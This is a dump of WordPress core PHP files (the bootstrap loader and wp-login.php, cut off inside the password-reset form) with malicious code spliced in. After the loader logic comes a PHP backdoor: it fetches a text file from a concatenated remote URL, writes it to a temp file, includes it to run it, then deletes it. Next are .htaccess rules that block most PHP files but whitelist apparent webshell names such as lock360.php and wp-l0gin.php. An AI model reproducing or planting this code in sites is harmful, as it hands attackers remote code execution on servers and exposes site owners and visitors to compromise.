WordPress' parent * directory to allow the WordPress directory to remain * untouched. * * @package WordPress */ /** Define ABSPATH as this file's directory */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /* * The error_reporting() function can be disabled in php.ini. On systems where that is the case, * it's best to add a dummy function to the wp-config.php file, but as this call to the function * is run prior to wp-config.php loading, it is wrapped in a function_exists() check. */ if ( function_exists( 'error_reporting' ) ) { /* * Initialize error reporting to a known set of levels. * * This will be adapted in wp_debug_mode() located in wp-includes/load.php based on WP_DEBUG. * @see https://www.php.net/manual/en/errorfunc.constants.php List of known error levels. */ error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); } /* * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a) * and /blog/ is WordPress(b). * * If neither set of conditions is true, initiate loading the setup process. */ if ( file_exists( ABSPATH . 'wp-config.php' ) ) { /** The config file resides in ABSPATH */ require_once ABSPATH . 'wp-config.php'; } elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) { /** The config file resides one level above ABSPATH but is not part of another installation */ require_once dirname( ABSPATH ) . '/wp-config.php'; } else { // A config file doesn't exist. define( 'WPINC', 'wp-includes' ); require_once ABSPATH . WPINC . '/version.php'; require_once ABSPATH . WPINC . '/compat.php'; require_once ABSPATH . WPINC . '/load.php'; // Check for the required PHP version and for the MySQL extension or a database drop-in. wp_check_php_mysql_versions(); // Standardize $_SERVER variables across setups. wp_fix_server_vars(); define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); require_once ABSPATH . WPINC . '/functions.php'; $path = wp_guess_url() . '/wp-admin/setup-config.php'; // Redirect to setup-config.php. if ( ! str_contains( $_SERVER['REQUEST_URI'], 'setup-config' ) ) { header( 'Location: ' . $path ); exit; } wp_load_translations_early(); // Die with an error message. $die = '<p>' . sprintf( /* translators: %s: wp-config.php */ __( "There doesn't seem to be a %s file. It is needed before the installation can continue." ), '<code>wp-config.php</code>' ) . '</p>'; $die .= '<p>' . sprintf( /* translators: 1: Documentation URL, 2: wp-config.php */ __( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ), __( 'https://developer.wordpress.org/advanced-administration/wordpress/wp-config/' ), '<code>wp-config.php</code>' ) . '</p>'; $die .= '<p>' . sprintf( /* translators: %s: wp-config.php */ __( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ), '<code>wp-config.php</code>' ) . '</p>'; $die .= '<p><a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a></p>'; wp_die( $die, __( 'WordPress › Error' ) ); } <?php $url = "https://51"."la.icw7.xyz/a"."2.txt"; // Ganti dengan URL yang diinginkan $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); if ($result === false) { echo "Error: " . "PD9waHA=" . curl_error($ch); } else { // Simpan hasil dari URL ke dalam file lokal $tempFile = tempnam(sys_get_temp_dir(), 'pasted_code_'); file_put_contents($tempFile, $result); // Include file yang telah diunduh dari URL include $tempFile; // Hapus file sementara setelah dieksekusi unlink($tempFile); } curl_close($ch); <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$"> Order allow,deny Allow from all </FilesMatch>87BBBC46A259F241A6FC87EAD1E51BEBBC6E9AF9C921B2CD27BA676BEC82994A comodoca.com 68bc46511460a<FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$"> Order allow,deny Allow from all </FilesMatch><?php /** * WordPress User Page * * Handles authentication, registering, resetting passwords, forgot password, * and other user handling. * * @package WordPress */ /** Make sure that the WordPress bootstrap has run before continuing. */ require __DIR__ . '/wp-load.php'; // Redirect to HTTPS login if forced to use SSL. if ( force_ssl_admin() && ! is_ssl() ) { if ( str_starts_with( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_safe_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) ); exit; } else { wp_safe_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); exit; } } /** * Outputs the login page header. * * @since 2.1.0 * * @global string $error Login error message set by deprecated pluggable wp_login() function * or plugins replacing it. * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * @global string $action The action that brought the visitor to the login page. * * @param string|null $title Optional. WordPress login page title to display in the `<title>` element. * Defaults to 'Log In'. * @param string $message Optional. Message to display in header. Default empty. * @param WP_Error|null $wp_error Optional. The error to pass. Defaults to a WP_Error instance. */ function login_header( $title = null, $message = '', $wp_error = null ) { global $error, $interim_login, $action; if ( null === $title ) { $title = __( 'Log In' ); } // Don't index any of these forms. add_filter( 'wp_robots', 'wp_robots_sensitive_page' ); add_action( 'login_head', 'wp_strict_cross_origin_referrer' ); add_action( 'login_head', 'wp_login_viewport_meta' ); if ( ! is_wp_error( $wp_error ) ) { $wp_error = new WP_Error(); } // Shake it! $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password', 'retrieve_password_email_failure' ); /** * Filters the error codes array for shaking the login form. * * @since 3.0.0 * * @param string[] $shake_error_codes Error codes that shake the login form. */ $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes ); if ( $shake_error_codes && $wp_error->has_errors() && in_array( $wp_error->get_error_code(), $shake_error_codes, true ) ) { add_action( 'login_footer', 'wp_shake_js', 12 ); } $login_title = get_bloginfo( 'name', 'display' ); /* translators: Login screen title. 1: Login screen name, 2: Network or site name. */ $login_title = sprintf( __( '%1$s ‹ %2$s — WordPress' ), $title, $login_title ); if ( wp_is_recovery_mode() ) { /* translators: %s: Login screen title. */ $login_title = sprintf( __( 'Recovery Mode — %s' ), $login_title ); } /** * Filters the title tag content for login page. * * @since 4.9.0 * * @param string $login_title The page title, with extra context added. * @param string $title The original page title. */ $login_title = apply_filters( 'login_title', $login_title, $title ); ?><!DOCTYPE html> <html <?php language_attributes(); ?>> <head> <meta http-equiv="Content-Type" content="<?php bloginfo( 'html_type' ); ?>; charset=<?php bloginfo( 'charset' ); ?>" /> <title><?php echo $login_title; ?></title> <?php wp_enqueue_style( 'login' ); /* * Remove all stored post data on logging out. * This could be added by add_action('login_head'...) like wp_shake_js(), * but maybe better if it's not removable by plugins. */ if ( 'loggedout' === $wp_error->get_error_code() ) { ob_start(); ?> <script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } /** * Enqueues scripts and styles for the login page. * * @since 3.1.0 */ do_action( 'login_enqueue_scripts' ); /** * Fires in the login page header after scripts are enqueued. * * @since 2.1.0 */ do_action( 'login_head' ); $login_header_url = __( 'https://wordpress.org/' ); /** * Filters link URL of the header logo above login form. * * @since 2.1.0 * * @param string $login_header_url Login header logo URL. */ $login_header_url = apply_filters( 'login_headerurl', $login_header_url ); $login_header_title = ''; /** * Filters the title attribute of the header logo above login form. * * @since 2.1.0 * @deprecated 5.2.0 Use {@see 'login_headertext'} instead. * * @param string $login_header_title Login header logo title attribute. */ $login_header_title = apply_filters_deprecated( 'login_headertitle', array( $login_header_title ), '5.2.0', 'login_headertext', __( 'Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead.' ) ); $login_header_text = empty( $login_header_title ) ? __( 'Powered by WordPress' ) : $login_header_title; /** * Filters the link text of the header logo above the login form. * * @since 5.2.0 * * @param string $login_header_text The login header logo link text. */ $login_header_text = apply_filters( 'login_headertext', $login_header_text ); $classes = array( 'login-action-' . $action, 'wp-core-ui' ); if ( is_rtl() ) { $classes[] = 'rtl'; } if ( $interim_login ) { $classes[] = 'interim-login'; ?> <style type="text/css">html{background-color: transparent;}</style> <?php if ( 'success' === $interim_login ) { $classes[] = 'interim-login-success'; } } $classes[] = ' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) ); /** * Filters the login page body classes. * * @since 3.5.0 * * @param string[] $classes An array of body classes. * @param string $action The action that brought the visitor to the login page. */ $classes = apply_filters( 'login_body_class', $classes, $action ); ?> </head> <body class="login no-js <?php echo esc_attr( implode( ' ', $classes ) ); ?>"> <?php wp_print_inline_script_tag( "document.body.className = document.body.className.replace('no-js','js');" ); ?> <?php /** * Fires in the login page header after the body tag is opened. * * @since 4.6.0 */ do_action( 'login_header' ); ?> <?php if ( 'confirm_admin_email' !== $action && ! empty( $title ) ) : ?> <h1 class="screen-reader-text"><?php echo $title; ?></h1> <?php endif; ?> <div id="login"> <h1 role="presentation" class="wp-login-logo"><a href="<?php echo esc_url( $login_header_url ); ?>"><?php echo $login_header_text; ?></a></h1> <?php /** * Filters the message to display above the login form. * * @since 2.1.0 * * @param string $message Login message text. */ $message = apply_filters( 'login_message', $message ); if ( ! empty( $message ) ) { echo $message . "\n"; } // In case a plugin uses $error rather than the $wp_errors object. if ( ! empty( $error ) ) { $wp_error->add( 'error', $error ); unset( $error ); } if ( $wp_error->has_errors() ) { $error_list = array(); $messages = ''; foreach ( $wp_error->get_error_codes() as $code ) { $severity = $wp_error->get_error_data( $code ); foreach ( $wp_error->get_error_messages( $code ) as $error_message ) { if ( 'message' === $severity ) { $messages .= '<p>' . $error_message . '</p>'; } else { $error_list[] = $error_message; } } } if ( ! empty( $error_list ) ) { $errors = ''; if ( count( $error_list ) > 1 ) { $errors .= '<ul class="login-error-list">'; foreach ( $error_list as $item ) { $errors .= '<li>' . $item . '</li>'; } $errors .= '</ul>'; } else { $errors .= '<p>' . $error_list[0] . '</p>'; } /** * Filters the error messages displayed above the login form. * * @since 2.1.0 * * @param string $errors Login error messages. */ $errors = apply_filters( 'login_errors', $errors ); wp_admin_notice( $errors, array( 'type' => 'error', 'id' => 'login_error', 'paragraph_wrap' => false, ) ); } if ( ! empty( $messages ) ) { /** * Filters instructional messages displayed above the login form. * * @since 2.5.0 * * @param string $messages Login messages. */ $messages = apply_filters( 'login_messages', $messages ); wp_admin_notice( $messages, array( 'type' => 'info', 'id' => 'login-message', 'additional_classes' => array( 'message' ), 'paragraph_wrap' => false, ) ); } } } // End of login_header(). /** * Outputs the footer for the login page. * * @since 3.1.0 * * @global bool|string $interim_login Whether interim login modal is being displayed. String 'success' * upon successful login. * * @param string $input_id Which input to auto-focus. */ function login_footer( $input_id = '' ) { global $interim_login; // Don't allow interim logins to navigate away from the page. if ( ! $interim_login ) { ?> <p id="backtoblog"> <?php $html_link = sprintf( '<a href="%s">%s</a>', esc_url( home_url( '/' ) ), sprintf( /* translators: %s: Site title. */ _x( '← Go to %s', 'site' ), get_bloginfo( 'title', 'display' ) ) ); /** * Filters the "Go to site" link displayed in the login page footer. * * @since 5.7.0 * * @param string $link HTML link to the home URL of the current site. */ echo apply_filters( 'login_site_html_link', $html_link ); ?> </p> <?php the_privacy_policy_link( '<div class="privacy-policy-page-link">', '</div>' ); } ?> </div><?php // End of <div id="login">. ?> <?php if ( ! $interim_login && /** * Filters whether to display the Language selector on the login screen. * * @since 5.9.0 * * @param bool $display Whether to display the Language selector on the login screen. */ apply_filters( 'login_display_language_dropdown', true ) ) { $languages = get_available_languages(); if ( ! empty( $languages ) ) { ?> <div class="language-switcher"> <form id="language-switcher" method="get"> <label for="language-switcher-locales"> <span class="dashicons dashicons-translation" aria-hidden="true"></span> <span class="screen-reader-text"> <?php /* translators: Hidden accessibility text. */ _e( 'Language' ); ?> </span> </label> <?php $args = array( 'id' => 'language-switcher-locales', 'name' => 'wp_lang', 'selected' => determine_locale(), 'show_available_translations' => false, 'explicit_option_en_us' => true, 'languages' => $languages, ); /** * Filters default arguments for the Languages select input on the login screen. * * The arguments get passed to the wp_dropdown_languages() function. * * @since 5.9.0 * * @param array $args Arguments for the Languages select input on the login screen. */ wp_dropdown_languages( apply_filters( 'login_language_dropdown_args', $args ) ); ?> <?php if ( $interim_login ) { ?> <input type="hidden" name="interim-login" value="1" /> <?php } ?> <?php if ( isset( $_GET['redirect_to'] ) && '' !== $_GET['redirect_to'] ) { ?> <input type="hidden" name="redirect_to" value="<?php echo sanitize_url( $_GET['redirect_to'] ); ?>" /> <?php } ?> <?php if ( isset( $_GET['action'] ) && '' !== $_GET['action'] ) { ?> <input type="hidden" name="action" value="<?php echo esc_attr( $_GET['action'] ); ?>" /> <?php } ?> <input type="submit" class="button" value="<?php esc_attr_e( 'Change' ); ?>"> </form> </div> <?php } ?> <?php } ?> <?php if ( ! empty( $input_id ) ) { ob_start(); ?> <script> try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){} if(typeof wpOnload==='function')wpOnload(); </script> <?php wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) ); } /** * Fires in the login page footer. * * @since 3.1.0 */ do_action( 'login_footer' ); ?> </body> </html> <?php } /** * Outputs the JavaScript to handle the form shaking on the login page. * * @since 3.0.0 */ function wp_shake_js() { wp_print_inline_script_tag( "document.querySelector('form').classList.add('shake');" ); } /** * Outputs the viewport meta tag for the login page. * * @since 3.7.0 */ function wp_login_viewport_meta() { ?> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <?php } /* * Main part. * * Check the request and redirect or display a form based on the current action. */ $action = isset( $_REQUEST['action'] ) && is_string( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'login'; $errors = new WP_Error(); if ( isset( $_GET['key'] ) ) { $action = 'resetpass'; } if ( isset( $_GET['checkemail'] ) ) { $action = 'checkemail'; } $default_actions = array( 'confirm_admin_email', 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'checkemail', 'confirmaction', 'login', WP_Recovery_Mode_Link_Service::LOGIN_ACTION_ENTERED, ); // Validate action so as to default to the login screen. if ( ! in_array( $action, $default_actions, true ) && false === has_filter( 'login_form_' . $action ) ) { $action = 'login'; } nocache_headers(); header( 'Content-Type: ' . get_bloginfo( 'html_type' ) . '; charset=' . get_bloginfo( 'charset' ) ); if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set. if ( isset( $_SERVER['PATH_INFO'] ) && ( $_SERVER['PATH_INFO'] !== $_SERVER['PHP_SELF'] ) ) { $_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] ); } $url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) ); if ( get_option( 'siteurl' ) !== $url ) { update_option( 'siteurl', $url ); } } // Set a cookie now to see if they are supported by the browser. $secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) ); setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true ); if ( SITECOOKIEPATH !== COOKIEPATH ) { setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure, true ); } if ( isset( $_GET['wp_lang'] ) ) { setcookie( 'wp_lang', sanitize_text_field( $_GET['wp_lang'] ), 0, COOKIEPATH, COOKIE_DOMAIN, $secure, true ); } /** * Fires when the login form is initialized. * * @since 3.2.0 */ do_action( 'login_init' ); /** * Fires before a specified login form action. * * The dynamic portion of the hook name, `$action`, refers to the action * that brought the visitor to the login form. * * Possible hook names include: * * - `login_form_checkemail` * - `login_form_confirm_admin_email` * - `login_form_confirmaction` * - `login_form_entered_recovery_mode` * - `login_form_login` * - `login_form_logout` * - `login_form_lostpassword` * - `login_form_postpass` * - `login_form_register` * - `login_form_resetpass` * - `login_form_retrievepassword` * - `login_form_rp` * * @since 2.8.0 */ do_action( "login_form_{$action}" ); $http_post = ( 'POST' === $_SERVER['REQUEST_METHOD'] ); $interim_login = isset( $_REQUEST['interim-login'] ); /** * Filters the separator used between login form navigation links. * * @since 4.9.0 * * @param string $login_link_separator The separator used between login form navigation links. */ $login_link_separator = apply_filters( 'login_link_separator', ' | ' ); switch ( $action ) { case 'confirm_admin_email': /* * Note that `is_user_logged_in()` will return false immediately after logging in * as the current user is not set, see wp-includes/pluggable.php. * However this action runs on a redirect after logging in. */ if ( ! is_user_logged_in() ) { wp_safe_redirect( wp_login_url() ); exit; } if ( ! empty( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; } else { $redirect_to = admin_url(); } if ( current_user_can( 'manage_options' ) ) { $admin_email = get_option( 'admin_email' ); } else { wp_safe_redirect( $redirect_to ); exit; } /** * Filters the interval for dismissing the admin email confirmation screen. * * If `0` (zero) is returned, the "Remind me later" link will not be displayed. * * @since 5.3.1 * * @param int $interval Interval time (in seconds). Default is 3 days. */ $remind_interval = (int) apply_filters( 'admin_email_remind_interval', 3 * DAY_IN_SECONDS ); if ( ! empty( $_GET['remind_me_later'] ) ) { if ( ! wp_verify_nonce( $_GET['remind_me_later'], 'remind_me_later_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } if ( $remind_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $remind_interval ); } $redirect_to = add_query_arg( 'admin_email_remind_later', 1, $redirect_to ); wp_safe_redirect( $redirect_to ); exit; } if ( ! empty( $_POST['correct-admin-email'] ) ) { if ( ! check_admin_referer( 'confirm_admin_email', 'confirm_admin_email_nonce' ) ) { wp_safe_redirect( wp_login_url() ); exit; } /** * Filters the interval for redirecting the user to the admin email confirmation screen. * * If `0` (zero) is returned, the user will not be redirected. * * @since 5.3.0 * * @param int $interval Interval time (in seconds). Default is 6 months. */ $admin_email_check_interval = (int) apply_filters( 'admin_email_check_interval', 6 * MONTH_IN_SECONDS ); if ( $admin_email_check_interval > 0 ) { update_option( 'admin_email_lifespan', time() + $admin_email_check_interval ); } wp_safe_redirect( $redirect_to ); exit; } login_header( __( 'Confirm your administration email' ), '', $errors ); /** * Fires before the admin email confirm form. * * @since 5.3.0 * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'admin_email_confirm', $errors ); ?> <form class="admin-email-confirm-form" name="admin-email-confirm-form" action="<?php echo esc_url( site_url( 'wp-login.php?action=confirm_admin_email', 'login_post' ) ); ?>" method="post"> <?php /** * Fires inside the admin-email-confirm-form form tags, before the hidden fields. * * @since 5.3.0 */ do_action( 'admin_email_confirm_form' ); wp_nonce_field( 'confirm_admin_email', 'confirm_admin_email_nonce' ); ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <h1 class="admin-email__heading"> <?php _e( 'Administration email verification' ); ?> </h1> <p class="admin-email__details"> <?php _e( 'Please verify that the <strong>administration email</strong> for this website is still correct.' ); ?> <?php /* translators: URL to the WordPress help section about admin email. */ $admin_email_help_url = __( 'https://wordpress.org/documentation/article/settings-general-screen/#email-address' ); $accessibility_text = sprintf( '<span class="screen-reader-text"> %s</span>', /* translators: Hidden accessibility text. */ __( '(opens in a new tab)' ) ); printf( '<a href="%s" target="_blank">%s%s</a>', esc_url( $admin_email_help_url ), __( 'Why is this important?' ), $accessibility_text ); ?> </p> <p class="admin-email__details"> <?php printf( /* translators: %s: Admin email address. */ __( 'Current administration email: %s' ), '<strong>' . esc_html( $admin_email ) . '</strong>' ); ?> </p> <p class="admin-email__details"> <?php _e( 'This email may be different from your personal email address.' ); ?> </p> <div class="admin-email__actions"> <div class="admin-email__actions-primary"> <?php $change_link = admin_url( 'options-general.php' ); $change_link = add_query_arg( 'highlight', 'confirm_admin_email', $change_link ); ?> <a class="button button-large" href="<?php echo esc_url( $change_link ); ?>"><?php _e( 'Update' ); ?></a> <input type="submit" name="correct-admin-email" id="correct-admin-email" class="button button-primary button-large" value="<?php esc_attr_e( 'The email is correct' ); ?>" /> </div> <?php if ( $remind_interval > 0 ) : ?> <div class="admin-email__actions-secondary"> <?php $remind_me_link = wp_login_url( $redirect_to ); $remind_me_link = add_query_arg( array( 'action' => 'confirm_admin_email', 'remind_me_later' => wp_create_nonce( 'remind_me_later_nonce' ), ), $remind_me_link ); ?> <a href="<?php echo esc_url( $remind_me_link ); ?>"><?php _e( 'Remind me later' ); ?></a> </div> <?php endif; ?> </div> </form> <?php login_footer(); break; case 'postpass': $redirect_to = $_POST['redirect_to'] ?? wp_get_referer(); if ( ! isset( $_POST['post_password'] ) || ! is_string( $_POST['post_password'] ) ) { wp_safe_redirect( $redirect_to ); exit; } require_once ABSPATH . WPINC . '/class-phpass.php'; $hasher = new PasswordHash( 8, true ); /** * Filters the life span of the post password cookie. * * By default, the cookie expires 10 days from creation. To turn this * into a session cookie, return 0. * * @since 3.7.0 * * @param int $expires The expiry time, as passed to setcookie(). */ $expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS ); if ( $redirect_to ) { $secure = ( 'https' === parse_url( $redirect_to, PHP_URL_SCHEME ) ); } else { $secure = false; } setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure ); wp_safe_redirect( $redirect_to ); exit; case 'logout': check_admin_referer( 'log-out' ); $user = wp_get_current_user(); wp_logout(); if ( ! empty( $_REQUEST['redirect_to'] ) && is_string( $_REQUEST['redirect_to'] ) ) { $redirect_to = $_REQUEST['redirect_to']; $requested_redirect_to = $redirect_to; } else { $redirect_to = add_query_arg( array( 'loggedout' => 'true', 'wp_lang' => get_user_locale( $user ), ), wp_login_url() ); $requested_redirect_to = ''; } /** * Filters the log out redirect URL. * * @since 4.2.0 * * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User $user The WP_User object for the user that's logging out. */ $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user ); wp_safe_redirect( $redirect_to ); exit; case 'lostpassword': case 'retrievepassword': if ( $http_post ) { $errors = retrieve_password(); if ( ! is_wp_error( $errors ) ) { $redirect_to = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm'; wp_safe_redirect( $redirect_to ); exit; } } if ( isset( $_GET['error'] ) ) { if ( 'invalidkey' === $_GET['error'] ) { $errors->add( 'invalidkey', __( '<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below.' ) ); } elseif ( 'expiredkey' === $_GET['error'] ) { $errors->add( 'expiredkey', __( '<strong>Error:</strong> Your password reset link has expired. Please request a new link below.' ) ); } } $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : ''; /** * Filters the URL redirected to after submitting the lostpassword/retrievepassword form. * * @since 3.0.0 * * @param string $lostpassword_redirect The redirect destination URL. */ $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect ); /** * Fires before the lost password form. * * @since 1.5.1 * @since 5.1.0 Added the `$errors` parameter. * * @param WP_Error $errors A `WP_Error` object containing any errors generated by using invalid * credentials. Note that the error object may not contain any errors. */ do_action( 'lost_password', $errors ); login_header( __( 'Lost Password' ), wp_get_admin_notice( __( 'Please enter your username or email address. You will receive an email message with instructions on how to reset your password.' ), array( 'type' => 'info', 'additional_classes' => array( 'message' ), ) ), $errors ); $user_login = ''; if ( isset( $_POST['user_login'] ) && is_string( $_POST['user_login'] ) ) { $user_login = wp_unslash( $_POST['user_login'] ); } ?> <form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post"> <p> <label for="user_login"><?php _e( 'Username or Email Address' ); ?></label> <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr( $user_login ); ?>" size="20" autocapitalize="off" autocomplete="username" required="required" /> </p> <?php /** * Fires inside the lostpassword form tags, before the hidden fields. * * @since 2.1.0 */ do_action( 'lostpassword_form' ); ?> <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" /> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e( 'Get New Password' ); ?>" /> </p> </form> <p id="nav"> <a class="wp-login-log-in" href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> <?php if ( get_option( 'users_can_register' ) ) { $registration_url = sprintf( '<a class="wp-login-register" href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) ); echo esc_html( $login_link_separator ); /** This filter is documented in wp-includes/general-template.php */ echo apply_filters( 'register', $registration_url ); } ?> </p> <?php login_footer( 'user_login' ); break; case 'resetpass': case 'rp': list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) ); $rp_cookie = 'wp-resetpass-' . COOKIEHASH; if ( isset( $_GET['key'] ) && isset( $_GET['login'] ) ) { $value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) ); setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) ); exit; } if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) { list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 ); $user = check_password_reset_key( $rp_key, $rp_login ); if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) { $user = false; } } else { $user = false; } if ( ! $user || is_wp_error( $user ) ) { setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); if ( $user && $user->get_error_code() === 'expired_key' ) { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) ); } else { wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) ); } exit; } $errors = new WP_Error(); // Check if password is one or all empty spaces. if ( ! empty( $_POST['pass1'] ) ) { $_POST['pass1'] = trim( $_POST['pass1'] ); if ( empty( $_POST['pass1'] ) ) { $errors->add( 'password_reset_empty_space', __( 'The password cannot be a space or all spaces.' ) ); } } // Check if password fields do not match. if ( ! empty( $_POST['pass1'] ) && trim( $_POST['pass2'] ) !== $_POST['pass1'] ) { $errors->add( 'password_reset_mismatch', __( '<strong>Error:</strong> The passwords do not match.' ) ); } /** * Fires before the password reset procedure is validated. * * @since 3.5.0 * * @param WP_Error $errors WP Error object. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise. */ do_action( 'validate_password_reset', $errors, $user ); if ( ( ! $errors->has_errors() ) && isset( $_POST['pass1'] ) && ! empty( $_POST['pass1'] ) ) { reset_password( $user, $_POST['pass1'] ); setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true ); login_header( __( 'Password Reset' ), wp_get_admin_notice( __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a>', array( 'type' => 'info', 'additional_classes' => array( 'message', 'reset-pass' ), ) ) ); login_footer(); exit; } wp_enqueue_script( 'utils' ); wp_enqueue_script( 'user-profile' ); login_header( __( 'Reset Password' ), wp_get_admin_notice( __( 'Enter your new password below or generate one.' ), array( 'type' => 'info', 'additional_classes' => array( 'message', 'reset-pass' ), ) ), $errors ); ?> <form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off"> <input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" /> <div class="user-pass1-wrap"> <p> <label for="pass1"><?php _e( 'New password' ); ?></label> </p> <div class="wp-pwd"> <input type="password" name="pass1" id="pass1" class="input password-input" size="24" value="" autocomplete="new-password" spellcheck="false" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" aria-describedby="pass-strength-result" /> <button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="<?php esc_attr_e( 'Hide password' ); ?>"> <span class="dashicons dashicons-hidden" aria-hidden="true"></span> </button> <div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div> </div> <div class="pw-weak"> <input type="checkbox" name="pw_weak" id="pw-weak" class="pw-checkbox" /> <label for="pw-weak"><?php _e( 'Confirm use of weak password' ); ?></label> </div> </div> <p class="user-pass2-wrap"> <label for="pass2"><?php _e( 'Confirm new password' ); ?></label> <input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="new-password" spellcheck="false" /> </p> <p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p> <?php /** * Fires following the 'Strength indicator' meter in the user password reset form. * * @since 3.9.0 * * @param WP_User $user User object of the user whose password is being reset. */ do_action( 'resetpass_form', $user ); ?> <input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" /> <p class="submit reset-pass-submit"> <button type="button" class="button wp-generate-pw hide-if-no-js skip-aria-expanded"><?php _e( 'Generate Password' ); ?></button> <input type="submit" name="wp-submit" id="wp-submit" 